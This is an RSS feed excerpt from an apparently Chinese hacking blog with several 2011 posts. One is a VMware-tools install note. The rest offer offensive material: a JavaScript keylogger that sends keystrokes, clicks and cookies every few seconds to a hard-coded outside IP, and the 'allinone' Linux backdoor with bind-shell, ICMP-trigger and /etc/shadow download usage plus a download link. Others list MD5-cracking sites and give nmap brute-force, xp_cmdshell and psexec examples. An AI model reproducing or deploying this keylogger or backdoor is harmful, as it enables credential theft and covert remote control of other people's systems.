<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年12月3日 -- <a href="http://www.4shell.org/archives/2064.html" title="PHP端口复用的利用">PHP端口复用的利用</a></li><li>2011年05月12日 -- <a href="http://www.4shell.org/archives/1928.html" title="简单配置 IIS6 + FastCGI 高效运行PHP">简单配置 IIS6 + FastCGI 高效运行PHP</a></li><li>2011年04月30日 -- <a href="http://www.4shell.org/archives/1916.html" title="Linux下Apache与PHP安全相关设置">Linux下Apache与PHP安全相关设置</a></li><li>2010年06月23日 -- <a href="http://www.4shell.org/archives/1785.html" title="分享国外一个PHP DDOS的脚本">分享国外一个PHP DDOS的脚本</a></li><li>2010年05月21日 -- <a href="http://www.4shell.org/archives/1761.html" title="橙色预警：PHP PATH_INFO 存在漏洞">橙色预警：PHP PATH_INFO 存在漏洞</a></li><li>2009年11月23日 -- <a href="http://www.4shell.org/archives/1221.html" title="php.ini文件A级变态配置">php.ini文件A级变态配置</a></li><li>2009年04月17日 -- <a href="http://www.4shell.org/archives/770.html" title="php导出oracle库的php代码">php导出oracle库的php代码</a></li><li>2009年01月24日 -- <a href="http://www.4shell.org/archives/724.html" title="猥琐流之php反弹">猥琐流之php反弹</a></li><li>2008年12月9日 -- <a href="http://www.4shell.org/archives/701.html" title="Php注入点构造">Php注入点构造</a></li><li>2008年11月16日 -- <a href="http://www.4shell.org/archives/615.html" title="dedecms plus/infosearch.php Exploit">dedecms plus/infosearch.php Exploit</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2063.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>最小化安装CentOS6 VMware-tools安装几点注意事项</title>
		<link>http://www.4shell.org/archives/2062.html</link>
		<comments>http://www.4shell.org/archives/2062.html#comments</comments>
		<pubDate>Fri, 25 Nov 2011 08:14:38 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CentOS]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2062</guid>
		<description><![CDATA[#./vmware-install.pl bash:./vmware-install.pl :/usr/bin/perl:bad interpreter:No such file or directory. 如果出现这个提示，则表明系统没有安装Perl环境，可以使用如下命令来提供Perl支持： #yum groupinstall "Perl Support" Searching for GCC... The path "" is not valid path to the gcc binary. Would you like to change it? [yes] 如果出现这个就表明gcc没有安装 yum install gcc gcc-c++ automake make 将编译环境一次装好 Searching for a valid kernel header path... The path "" is not valid. [...]]]></description>
			<content:encoded><![CDATA[<p>#./vmware-install.pl<br />
bash:./vmware-install.pl :/usr/bin/perl:bad interpreter:No such file or directory.<br />
如果出现这个提示，则表明系统没有安装Perl环境，可以使用如下命令来提供Perl支持：<br />
#yum groupinstall "Perl Support"</p>
<p>Searching for GCC...<br />
The path "" is not valid path to the gcc binary.<br />
Would you like to change it? [yes]<br />
如果出现这个就表明gcc没有安装</p>
<p>yum install gcc gcc-c++ automake make<br />
将编译环境一次装好<br />
<span id="more-2062"></span><br />
Searching for a valid kernel header path...<br />
The path "" is not valid.<br />
Would you like to change it? [yes]<br />
如果出现这个就表示kernel-devel包没有安装</p>
<p>yum install kernel-devel</p>
<p>成功安装VMware tools时的提示：<br />
Searching for GCC...<br />
Detected GCC binary at "/usr/bin/gcc".<br />
The path "/usr/bin/gcc" appears to be a valid path to the gcc binary.<br />
Would you like to change it? [no]</p>
<p>Searching for a valid kernel header path...<br />
Detected the kernel headers of the running kernel at<br />
"/lib/modules/2.6.32-71.el6.i686/build/include".<br />
The path "/lib/modules/2.6.32-71.el6.i686/build/include" appears to be a valid<br />
path to the kernel headers of the running kernel.<br />
Would you like to change it? [no]</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年06月10日 -- <a href="http://www.4shell.org/archives/1969.html" title="VMware 硬盘扩容">VMware 硬盘扩容</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2059.html" title="linux Backdoor">linux Backdoor</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2055.html" title="allinone: Linux pentest tools">allinone: Linux pentest tools</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1958.html" title="Linux下MySQL的load_file常用路径">Linux下MySQL的load_file常用路径</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1956.html" title="linux渗透小技巧">linux渗透小技巧</a></li><li>2011年05月26日 -- <a href="http://www.4shell.org/archives/1933.html" title="Linux 安装基于PPTPD的vpn,内网渗透用">Linux 安装基于PPTPD的vpn,内网渗透用</a></li><li>2011年05月16日 -- <a href="http://www.4shell.org/archives/1930.html" title="kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images">kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></li><li>2011年04月30日 -- <a href="http://www.4shell.org/archives/1920.html" title="Linux基本操作命令">Linux基本操作命令</a></li><li>2011年04月30日 -- <a href="http://www.4shell.org/archives/1919.html" title="让putty支持中文输入和显示">让putty支持中文输入和显示</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1899.html" title=" 一次Linux下的普通渗透测试"> 一次Linux下的普通渗透测试</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2062.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>几个在线密码破解网站的比较</title>
		<link>http://www.4shell.org/archives/2058.html</link>
		<comments>http://www.4shell.org/archives/2058.html#comments</comments>
		<pubDate>Thu, 24 Nov 2011 13:19:03 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[密码破解]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2058</guid>
		<description><![CDATA[国内:www.cmd5.com(收费，国内最强大的) 国内：http://www.md5.com.cn/ (有特色，还没怎么用) 国内：www.xmd5.com(还不错) 国外：http://www.c0llision.net/webcrack.php(免费，还不错) 国外：http://hashkiller.com/ (免费，相当强大!!!) 国外：http://ops.conus.info/(免费，少有的oracle hash在线破解网站) 以上几个网站在我使用过程当中查询md5我感觉hashkiller和cmd5最强大，其实cmd5更强些，但是hashkiller是完全免费 的！所以hashkiller=cmd5&#62;xmd5&#62;collision，从测试来看，就md5和md5+salt来说，cmd5.com后 台破解比它的查询强大。 值得一提的是，很多只能靠cmd5.com后台破的md5密码能靠hashkiller网站直接查出来，只有少部分密码不行。可以先用 hashkiller和collision查询，再用cmd5和xmd5查询，然后再考虑使用cmd5后台破解功能，如果还破不出来那可能就真的破不出来 了。其实这五个网站也是一种检验自己密码强度的最佳方法，看看自己的密码是否在这数万亿的字典当中。另外需要补充的是，collision支持批量查 询：） 相关文章2008年10月21日 -- 用显卡来暴力破解密码]]></description>
			<content:encoded><![CDATA[<p>国内:<a href="http://www.cmd5.com/">www.cmd5.com</a>(收费，国内最强大的)</p>
<p>国内：<a href="http://www.md5.com.cn/">http://www.md5.com.cn/</a> (有特色，还没怎么用)</p>
<p>国内：<a href="http://www.xmd5.com/">www.xmd5.com</a>(还不错)</p>
<p>国外：<a href="http://www.c0llision.net/webcrack.php">http://www.c0llision.net/webcrack.php</a>(免费，还不错)</p>
<p>国外：<a href="http://hashkiller.com/">http://hashkiller.com/</a> (免费，相当强大!!!)</p>
<p>国外：<a href="http://ops.conus.info/">http://ops.conus.info/</a>(免费，少有的oracle hash在线破解网站)</p>
<p>以上几个网站在我使用过程当中查询md5我感觉hashkiller和cmd5最强大，其实cmd5更强些，但是hashkiller是完全免费 的！所以hashkiller=cmd5&gt;xmd5&gt;collision，从测试来看，就md5和md5+salt来说，cmd5.com后 台破解比它的查询强大。</p>
<p>值得一提的是，很多只能靠cmd5.com后台破的md5密码能靠hashkiller网站直接查出来，只有少部分密码不行。可以先用 hashkiller和collision查询，再用cmd5和xmd5查询，然后再考虑使用cmd5后台破解功能，如果还破不出来那可能就真的破不出来 了。其实这五个网站也是一种检验自己密码强度的最佳方法，看看自己的密码是否在这数万亿的字典当中。另外需要补充的是，collision支持批量查 询：）</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2008年10月21日 -- <a href="http://www.4shell.org/archives/454.html" title="用显卡来暴力破解密码">用显卡来暴力破解密码</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2058.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>键盘记录js代码</title>
		<link>http://www.4shell.org/archives/2057.html</link>
		<comments>http://www.4shell.org/archives/2057.html#comments</comments>
		<pubDate>Thu, 24 Nov 2011 13:14:52 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[JS]]></category>
		<category><![CDATA[键盘记录]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2057</guid>
		<description><![CDATA[var keys=''; //储存键盘鼠标记录 var hacker = 'http://218.6.132.15:8080/xss.php'; var Url = window.location; var Domain = document.domain; var Cookie = document.cookie; &#160; document.onkeypress = function(e) { //劫持键盘消息 get = window.event ? event:e; key = get.keyCode ? get.keyCode : get.charCode; switch(key){ case 32 : key = '[Space]';break; case 13 : key = '[Enter]';break; case 8 : key = [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>var keys=''; //储存键盘鼠标记录</p>
<p>var hacker = 'http://218.6.132.15:8080/xss.php';</p>
<p>var Url = window.location;</p>
<p>var Domain = document.domain;</p>
<p>var Cookie = document.cookie;</p>
<p>&nbsp;</p>
<p>document.onkeypress = function(e) { //劫持键盘消息</p>
<p>get = window.event ? event:e;</p>
<p>key = get.keyCode ? get.keyCode : get.charCode;</p>
<p>switch(key){</p>
<p>case 32 : key = '[Space]';break;</p>
<p>case 13 : key = '[Enter]';break;</p>
<p>case 8 : key = '[BackSpace]';break;</p>
<p>default :</p>
<p>key = String.fromCharCode(key);</p>
<p>keys += key;</p>
<p>}</p>
<p>}</p>
<p>&nbsp;</p>
<p>window.onload = function(){ //窗口加载后发送cookie</p>
<p>setInterval(function(){</p>
<p>var Cookie_t = document.cookie;</p>
<p>if(Cookie_t != Cookie){</p>
<p>Cookie = Cookie_t;</p>
<p>}</p>
<p>SendData(hacker + '?m=c&amp;c=' + Cookie);</p>
<p>},2000); //每2秒检测一次cookie,如果变化，就重新发送</p>
<p>}</p>
<p>document.onmousedown = function(e) {</p>
<p>get = window.event ? event : e; //创建事件对象</p>
<p>var mousekey = get.button; //获取鼠标键代码</p>
<p>switch(mousekey) {//1 鼠标左键 2 鼠标右键 4 滚动键</p>
<p>case 1 :</p>
<p>mousekey = '[Left Mouse Clik]';break;</p>
<p>case 2 :</p>
<p>mousekey = '[Right Mouse Clik]';break;</p>
<p>case 4 :</p>
<p>mousekey = '[Roll Mouse Clik]';break;</p>
<p>default :</p>
<p>mousekey = '[Unknown Mouse Key]';</p>
<p>}</p>
<p>keys += mousekey;</p>
<p>}</p>
<p>function SendData(src){</p>
<p>new Image().src = src; //建立图片对象用于发射数据</p>
<p>}</p>
<p>&nbsp;</p>
<p>setInterval(function(){ SendData(hacker + '?m=k&amp;c=' + keys);keys = ''; },5000); //每五秒发送一次键盘记录，初始化变量</p></blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2008年10月20日 -- <a href="http://www.4shell.org/archives/450.html" title="共享一个键盘记录的源码">共享一个键盘记录的源码</a></li><li>2006年10月12日 -- <a href="http://www.4shell.org/archives/54.html" title="奇炫的JavaScript代码">奇炫的JavaScript代码</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2057.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>nmap的漏洞插件</title>
		<link>http://www.4shell.org/archives/2056.html</link>
		<comments>http://www.4shell.org/archives/2056.html#comments</comments>
		<pubDate>Thu, 24 Nov 2011 13:09:14 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[nmap]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2056</guid>
		<description><![CDATA[官方说明：http://nmap.org/nsedoc/ 选了些自我感觉特别实用的： ms-sql-brute nmap -sV –script=ms-sql-brute &#60;target&#62; ms-sql-xp-cmdshell Example Usage： nmap -sV –script=ms-sql-xp-cmdshell &#60;target&#62; Script Output PORT     STATE SERVICE 1433/tcp open  ms-sql-s &#124; mssql-xp-cmdshell: &#124;   Command: ipconfig /all; User: sa &#124;   output &#124; &#124;   Windows IP Configuration &#124; &#124;      Host Name . . . . . . . . . . . . : EDUSRV011 [...]]]></description>
			<content:encoded><![CDATA[<p>官方说明：<a href="http://nmap.org/nsedoc/">http://nmap.org/nsedoc/</a></p>
<p>选了些自我感觉特别实用的：</p>
<p><strong>ms-sql-brute</strong></p>
<p>nmap -sV –script=ms-sql-brute &lt;target&gt;</p>
<p><strong>ms-sql-xp-cmdshell</strong></p>
<p><strong>Example Usage：</strong></p>
<p>nmap -sV –script=ms-sql-xp-cmdshell &lt;target&gt;<br />
<strong> Script Output</strong></p>
<p>PORT     STATE SERVICE<br />
1433/tcp open  ms-sql-s<br />
| mssql-xp-cmdshell:<br />
|   Command: ipconfig /all; User: sa<br />
|   output<br />
|<br />
|   Windows IP Configuration<br />
|<br />
|      Host Name . . . . . . . . . . . . : EDUSRV011<br />
|      Primary Dns Suffix  . . . . . . . : cqure.net<br />
|      Node Type . . . . . . . . . . . . : Unknown<br />
|      IP Routing Enabled. . . . . . . . : No<br />
|      WINS Proxy Enabled. . . . . . . . : No<br />
|      DNS Suffix Search List. . . . . . : cqure.net<br />
|<br />
|   Ethernet adapter Local Area Connection 3:<br />
|<br />
|      Connection-specific DNS Suffix  . :<br />
|      Description . . . . . . . . . . . : AMD PCNET Family PCI Ethernet Adapter #2<br />
|      Physical Address. . . . . . . . . : 08-00-DE-AD-C0-DE<br />
|      DHCP Enabled. . . . . . . . . . . : Yes<br />
|      Autoconfiguration Enabled . . . . : Yes<br />
|      IP Address. . . . . . . . . . . . : 192.168.56.3<br />
|      Subnet Mask . . . . . . . . . . . : 255.255.255.0<br />
|      Default Gateway . . . . . . . . . :<br />
|      DHCP Server . . . . . . . . . . . : 192.168.56.2<br />
|      Lease Obtained. . . . . . . . . . : den 21 mars 2010 00:12:10<br />
|      Lease Expires . . . . . . . . . . : den 21 mars 2010 01:12:10<br />
|</p>
<p><strong>mysql-brute</strong></p>
<p><strong>Example Usage</strong></p>
<p>nmap -sV –script=mysql-brute &lt;target&gt;</p>
<p><strong>Script Output</strong></p>
<p><span id="more-2056"></span></p>
<p>3306/tcp open  mysql<br />
| mysql-brute:<br />
|   root:&lt;empty&gt; =&gt; Login Correct<br />
|_  test:test =&gt; Login Correct</p>
<p><strong>oracle-sid-brute</strong></p>
<p><strong> Example Usage</strong></p>
<p>nmap –script=oracle-sid-brute –script-args=oraclesids=/path/to/sidfile -p 1521-1560 &lt;host&gt;<br />
nmap –script=oracle-sid-brute -p 1521-1560 &lt;host&gt;</p>
<p>If no oraclesids file is specified, it falls back to the default oracle-sids file<br />
License to use the oracle-sids file was granted by the author (Alexander Kornbrust)<br />
Ref: http://seclists.org/nmap-dev/2009/q4/645</p>
<p><strong>Script Output</strong></p>
<p>PORT     STATE SERVICE REASON<br />
1521/tcp open  oracle  syn-ack<br />
| oracle-sid-brute:<br />
|   orcl<br />
|   prod<br />
|_  devel</p>
<p><strong>smb-brute</strong></p>
<p><strong>Example Usage</strong></p>
<p>nmap –script smb-brute.nse -p445 &lt;host&gt;<br />
sudo nmap -sU -sS –script smb-brute.nse -p U:137,T:139 &lt;host&gt;</p>
<p><strong>Script Output</strong></p>
<p>Host script results:<br />
|  smb-brute:<br />
|  |  bad name:test =&gt; Login was successful<br />
|  |  consoletest:test =&gt; Password was correct, but user can’t log in without changing it<br />
|  |  guest:&lt;anything&gt; =&gt; Password was correct, but user’s account is disabled<br />
|  |  mixcase:BuTTeRfLY1 =&gt; Login was successful<br />
|  |  test:password1 =&gt; Login was successful<br />
|  |  this:password =&gt; Login was successful<br />
|  |  thisisaverylong:password =&gt; Login was successful<br />
|  |  thisisaverylongname:password =&gt; Login was successful<br />
|  |  thisisaverylongnamev:password =&gt; Login was successful<br />
|_ |_ web:TeSt =&gt; Password was correct, but user’s account is disabled</p>
<p><strong><br />
smb-enum-users</strong></p>
<p><strong>Example Usage</strong></p>
<p>nmap –script smb-enum-users.nse -p445 &lt;host&gt;<br />
sudo nmap -sU -sS –script smb-enum-users.nse -p U:137,T:139 &lt;host&gt;</p>
<p><strong>Script Output</strong></p>
<p>Host script results:<br />
|  smb-enum-users:<br />
|_ |_ Domain: RON-WIN2K-TEST; Users: Administrator, Guest, IUSR_RON-WIN2K-TEST, IWAM_RON-WIN2K-TEST, test1234, TsInternetUser</p>
<p>Host script results:<br />
|  smb-enum-users:<br />
|  |  RON-WIN2K-TESTAdministrator (RID: 500)<br />
|  |  |  Description: Built-in account for administering the computer/domain<br />
|  |  |_ Flags:       Password does not expire, Normal user account<br />
|  |  RON-WIN2K-TESTGuest (RID: 501)<br />
|  |  |  Description: Built-in account for guest access to the computer/domain<br />
|  |  |_ Flags:       Password not required, Password does not expire, Normal user account<br />
|  |  RON-WIN2K-TESTIUSR_RON-WIN2K-TEST (RID: 1001)<br />
|  |  |  Full name:   Internet Guest Account<br />
|  |  |  Description: Built-in account for anonymous access to Internet Information Services<br />
|  |  |_ Flags:       Password not required, Password does not expire, Normal user account<br />
|  |  RON-WIN2K-TESTIWAM_RON-WIN2K-TEST (RID: 1002)<br />
|  |  |  Full name:   Launch IIS Process Account<br />
|  |  |  Description: Built-in account for Internet Information Services to start out of process applications<br />
|  |  |_ Flags:       Password not required, Password does not expire, Normal user account<br />
|  |  RON-WIN2K-TESTtest1234 (RID: 1005)<br />
|  |  |_ Flags:       Normal user account<br />
|  |  RON-WIN2K-TESTTsInternetUser (RID: 1000)<br />
|  |  |  Full name:   TsInternetUser<br />
|  |  |  Description: This user account is used by Terminal Services.<br />
|_ |_ |_ Flags:       Password not required, Password does not expire, Normal user account</p>
<p><strong><br />
smb-psexec</strong></p>
<p><strong>Example Usage</strong></p>
<p>nmap –script smb-psexec.nse –script-args=smbuser=&lt;username&gt;,smbpass=&lt;password&gt;[,config=&lt;config&gt;] -p445 &lt;host&gt;<br />
sudo nmap -sU -sS –script smb-psexec.nse –script-args=smbuser=&lt;username&gt;,smbpass=&lt;password&gt;[,config=&lt;config&gt;] -p U:137,T:139 &lt;host&gt;</p>
<p><strong>Script Output</strong></p>
<p>Host script results:<br />
|  smb-psexec:<br />
|  |  Windows version<br />
|  |  |_ Microsoft Windows 2000 [Version 5.00.2195]<br />
|  |  IP Address and MAC Address from ‘ipconfig.exe’<br />
|  |  |  Ethernet adapter Local Area Connection 2:<br />
|  |  |         MAC Address: 00:50:56:A1:24:C2<br />
|  |  |         IP Address: 10.0.0.30<br />
|  |  |  Ethernet adapter Local Area Connection:<br />
|  |  |_        MAC Address: 00:50:56:A1:00:65<br />
|  |  User list from ‘net user’<br />
|  |  |  Administrator            TestUser3                Guest<br />
|  |  |  IUSR_RON-WIN2K-TEST      IWAM_RON-WIN2K-TEST      nmap<br />
|  |  |  rontest123               sshd                     SvcCOPSSH<br />
|  |  |_ test1234                 Testing                  TsInternetUser<br />
|  |  Membership of ‘administrators’ from ‘net localgroup administrators’<br />
|  |  |  Administrator<br />
|  |  |  SvcCOPSSH<br />
|  |  |  test1234<br />
|  |  |_ Testing<br />
|  |  Can the host ping our address?<br />
|  |  |  Pinging 10.0.0.138 with 32 bytes of data:<br />
|  |  |_ Reply from 10.0.0.138: bytes=32 time&lt;10ms TTL=64<br />
|  |  Traceroute back to the scanner<br />
|  |  |_   1   &lt;10 ms   &lt;10 ms   &lt;10 ms  10.0.0.138<br />
|  |  ARP Cache from arp.exe<br />
|  |  |    Internet Address      Physical Address      Type<br />
|  |  |_   10.0.0.138            00-50-56-a1-27-4b     dynamic<br />
|  |  List of listening and established connections (netstat -an)<br />
|  |  |    Proto  Local Address          Foreign Address        State<br />
|  |  |    TCP    0.0.0.0:22             0.0.0.0:0              LISTENING<br />
|  |  |    TCP    0.0.0.0:25             0.0.0.0:0              LISTENING<br />
|  |  |    TCP    0.0.0.0:80             0.0.0.0:0              LISTENING<br />
|  |  |    TCP    0.0.0.0:135            0.0.0.0:0              LISTENING<br />
|  |  |    TCP    0.0.0.0:443            0.0.0.0:0              LISTENING<br />
|  |  |    TCP    0.0.0.0:445            0.0.0.0:0              LISTENING<br />
|  |  |    TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING<br />
|  |  |    TCP    0.0.0.0:1028           0.0.0.0:0              LISTENING<br />
|  |  |    TCP    0.0.0.0:1029           0.0.0.0:0              LISTENING<br />
|  |  |    TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING<br />
|  |  |    TCP    0.0.0.0:4933           0.0.0.0:0              LISTENING<br />
|  |  |    TCP    10.0.0.30:139          0.0.0.0:0              LISTENING<br />
|  |  |    TCP    127.0.0.1:2528         127.0.0.1:2529         ESTABLISHED<br />
|  |  |    TCP    127.0.0.1:2529         127.0.0.1:2528         ESTABLISHED<br />
|  |  |    TCP    127.0.0.1:2531         127.0.0.1:2532         ESTABLISHED<br />
|  |  |    TCP    127.0.0.1:2532         127.0.0.1:2531         ESTABLISHED<br />
|  |  |    TCP    127.0.0.1:5152         0.0.0.0:0              LISTENING<br />
|  |  |    TCP    127.0.0.1:5152         127.0.0.1:2530         CLOSE_WAIT<br />
|  |  |    UDP    0.0.0.0:135            *:*<br />
|  |  |    UDP    0.0.0.0:445            *:*<br />
|  |  |    UDP    0.0.0.0:1030           *:*<br />
|  |  |    UDP    0.0.0.0:3456           *:*<br />
|  |  |    UDP    10.0.0.30:137          *:*<br />
|  |  |    UDP    10.0.0.30:138          *:*<br />
|  |  |    UDP    10.0.0.30:500          *:*<br />
|  |  |    UDP    10.0.0.30:4500         *:*<br />
|  |  |_   UDP    127.0.0.1:1026         *:*<br />
|  |  Full routing table from ‘netstat -nr’<br />
|  |  |  ===========================================================================<br />
|  |  |  Interface List<br />
|  |  |  0×1 ……………………… MS TCP Loopback interface<br />
|  |  |  0×2 …00 50 56 a1 00 65 …… VMware Accelerated AMD PCNet Adapter<br />
|  |  |  0×1000004 …00 50 56 a1 24 c2 …… VMware Accelerated AMD PCNet Adapter<br />
|  |  |  ===========================================================================<br />
|  |  |  ===========================================================================<br />
|  |  |  Active Routes:<br />
|  |  |  Network Destination        Netmask          Gateway       Interface  Metric<br />
|  |  |           10.0.0.0    255.255.255.0        10.0.0.30       10.0.0.30      1<br />
|  |  |          10.0.0.30  255.255.255.255        127.0.0.1       127.0.0.1      1<br />
|  |  |     10.255.255.255  255.255.255.255        10.0.0.30       10.0.0.30      1<br />
|  |  |          127.0.0.0        255.0.0.0        127.0.0.1       127.0.0.1      1<br />
|  |  |          224.0.0.0        224.0.0.0        10.0.0.30       10.0.0.30      1<br />
|  |  |    255.255.255.255  255.255.255.255        10.0.0.30               2      1<br />
|  |  |  ===========================================================================<br />
|  |  |  Persistent Routes:<br />
|  |  |    None<br />
|_ |_ |_ Route Table</p>
<p><strong><br />
snmp-brute</strong></p>
<p><strong>Example Usage<br />
</strong><br />
nmap -sV –script=snmp-brute &lt;target&gt;</p>
<p><strong>Script Output</strong></p>
<p>PORT    STATE SERVICE<br />
161/udp open  snmp<br />
|_snmp-brute: public</p>
<p><strong><br />
snmp-win32-users、snmp-interfaces</strong></p>
<p><strong>Example Usage</strong><br />
nmap -sV -sC &lt;target&gt;<br />
<strong>Script Output</strong></p>
<p>| snmp-win32-users:<br />
|   Administrator<br />
|   Guest<br />
|   IUSR_EDUSRV011<br />
|   IWAM_EDUSRV011<br />
|   SUPPORT_388945a0<br />
|   Tomcat<br />
|   db2admin<br />
|   ldaptest<br />
|_  patrik</p>
<h2  class="related_post_title">随机日志</h2><ul class="related_post"><li>2008年11月14日 -- <a href="http://www.4shell.org/archives/608.html" title="Discuz! 6.x/7.x SODB-2008-13 Exp">Discuz! 6.x/7.x SODB-2008-13 Exp</a></li><li>2009年09月8日 -- <a href="http://www.4shell.org/archives/1094.html" title="IIS6解析漏洞">IIS6解析漏洞</a></li><li>2007年01月7日 -- <a href="http://www.4shell.org/archives/135.html" title="安全专家：2007将爆发黑客“世界大战”">安全专家：2007将爆发黑客“世界大战”</a></li><li>2007年11月19日 -- <a href="http://www.4shell.org/archives/246.html" title="反黑经验：深入了解 DDoS与 DDoS追踪">反黑经验：深入了解 DDoS与 DDoS追踪</a></li><li>2011年10月25日 -- <a href="http://www.4shell.org/archives/2043.html" title="HP大中华区总裁孙振耀退休感言">HP大中华区总裁孙振耀退休感言</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/13.html" title="cmd.aspx">cmd.aspx</a></li><li>2011年04月30日 -- <a href="http://www.4shell.org/archives/1920.html" title="Linux基本操作命令">Linux基本操作命令</a></li><li>2010年06月5日 -- <a href="http://www.4shell.org/archives/1768.html" title="即兴大发 吟诗一首">即兴大发 吟诗一首</a></li><li>2007年05月17日 -- <a href="http://www.4shell.org/archives/198.html" title="PJBlog的0Day&#8230;实际上就是跨站">PJBlog的0Day&#8230;实际上就是跨站</a></li><li>2010年04月6日 -- <a href="http://www.4shell.org/archives/1660.html" title="《使命召唤6：现代战争2》详尽联机教程">《使命召唤6：现代战争2》详尽联机教程</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2056.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>allinone: Linux pentest tools</title>
		<link>http://www.4shell.org/archives/2055.html</link>
		<comments>http://www.4shell.org/archives/2055.html#comments</comments>
		<pubDate>Thu, 24 Nov 2011 13:08:04 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[资源共享]]></category>
		<category><![CDATA[allinone]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[pentest]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2055</guid>
		<description><![CDATA[allinone: Linux pentest tools from HUC China A great app level backdoor in Linux . Very useful while doing Linux pentest. Written by Lion [HUC(Hack Union of China)] at year 2002 The source code has some errors in packetstromsecurity’s archive; Now all fixed by akshell(http://www.linuxpentest.com) /************************************************************************ * allinone.c for HUC (2002.1) * * allinone.c is [...]]]></description>
			<content:encoded><![CDATA[<p>allinone: Linux pentest tools from HUC China</p>
<p>A great app level backdoor in Linux . Very useful while doing Linux pentest.</p>
<p>Written by Lion [HUC(Hack Union of China)] at year 2002</p>
<p>The source code has some errors in packetstromsecurity’s archive; Now all fixed by akshell(http://www.linuxpentest.com)<br />
<span id="more-2055"></span><br />
/************************************************************************<br />
* allinone.c for HUC (2002.1)<br />
*<br />
* allinone.c is<br />
* a Http server,<br />
* a sockets transmit server,<br />
* a shell backdoor,<br />
* a icmp backdoor,<br />
* a bind shell backdoor,<br />
* a like http shell,<br />
* it can translate file from remote host,<br />
* it can give you a socks5 proxy,<br />
* it can use for to attack, jumps the extension, Visits other machines.<br />
* it can give you a root shell.:)<br />
*</p>
<p>* Usage:<br />
* compile:<br />
* gcc -o allinone allinone.c -lpthread<br />
* run on target:<br />
* ./allinone<br />
*<br />
* 1.httpd server<br />
* Client:<br />
* http://target:8008/givemefile/etc/passwd<br />
* lynx -dump http://target:8008/givemefile/etc/shadow &gt; shadow<br />
* or wget http://target:8008/givemefile/etc/shadow<br />
*<br />
* 2.icmp backdoor<br />
* Client:<br />
* ping -l 101 target (on windows)<br />
* ping -s 101 -c 4 target (on linux)<br />
* nc target 8080<br />
* kissme:) –&gt; your password<br />
*<br />
* 3.shell backdoor<br />
* Client:<br />
* nc target 8008<br />
* kissme:) –&gt; your password<br />
*<br />
* 4.bind a root shell on your port<br />
* Client:<br />
* http://target:8008/bindport:9999<br />
* nc target 9999<br />
* kissme:) –&gt; your password<br />
*<br />
* 5.sockets transmit<br />
* Client:<br />
* http://target:8008/socks/:local listen port::you want to tran ip:::you want to tran port<br />
* http://target:8008/socks/:1080::192.168.0.1:::21<br />
* nc target 1080<br />
*<br />
* 6.http shell<br />
* Client:<br />
* http://target:8008/givemeshell:ls -al (no pipe)<br />
*<br />
* ps:<br />
* All bind shell have a passwd, default is: kissme:)<br />
* All bind shell will close, if Two minutes do not have the connection.<br />
* All bind shell only can use one time until reactivates.<br />
*<br />
*<br />
* Code by lion, e-mail: lion@cnhonker.net<br />
* Welcome to HUC Website, Http://www.cnhonker.com<br />
*<br />
* Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others)<br />
* Thx bkbll’s Transmit code, and thx Neil,con,iceblood for test.<br />
*<br />
************************************************************************/<br />
Download:<br />
<a title="allinone" href="http://www.4shell.org/tools/allinone.tgz" target="_blank">http://www.4shell.org/tools/allinone.tgz</a></p>
